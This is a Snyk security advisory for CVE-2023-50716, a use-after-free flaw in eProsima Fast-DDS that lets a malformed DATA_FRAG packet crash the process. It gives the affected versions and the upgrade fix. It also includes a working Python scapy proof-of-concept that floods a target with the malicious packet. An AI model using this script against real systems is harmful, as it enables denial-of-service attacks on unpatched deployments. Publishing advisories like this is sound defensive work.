Use After Free Affecting eProsima/Fast-DDS package, versions [,2.6.7)[2.7.0,2.10.3)[2.11.0,2.11.3)[2.12.0,2.12.2)


Severity

Recommended
0.0
critical
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.04% (12th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Use After Free vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-EPROSIMAFASTDDS-6417983
  • published7 Mar 2024
  • disclosed7 Mar 2024
  • creditDes glaneurs

Introduced: 7 Mar 2024

CVE-2023-50716  (opens in a new tab)
CWE-416  (opens in a new tab)

How to fix?

Upgrade eProsima/Fast-DDS to version 2.6.7, 2.10.3, 2.11.3, 2.12.2 or higher.

Overview

Affected versions of this package are vulnerable to Use After Free due to an invalid DATA_FRAG Submessage causing a bad-free error, allowing for the remote termination of the Fast-DDS process. If an invalid Data_Frag packet is sent, the Inline_qos, SerializedPayload member of object ch will attempt to release memory without initialization, leading to a 'bad-free' error.

PoC

from scapy.all import *

hex_value = "525450530201ca00efe7c4e7d5eed6d6b901000016130000d6100000000000000000000000000010ffff00e2f2f2f2520201ca00efe700000100dd02"
       
abc = bytes.fromhex(hex_value)

while(1):  
   
   packet = Ether(src="00:0c:29:2a:fd:e5" ,dst="00:0c:29:19:57:f6") / \
      IP(src="192.168.114.131",dst="192.168.114.167") / \
      UDP(sport=57854, dport=7413) / abc

   sendp(packet, iface="ens33")

References

CVSS Scores

version 3.1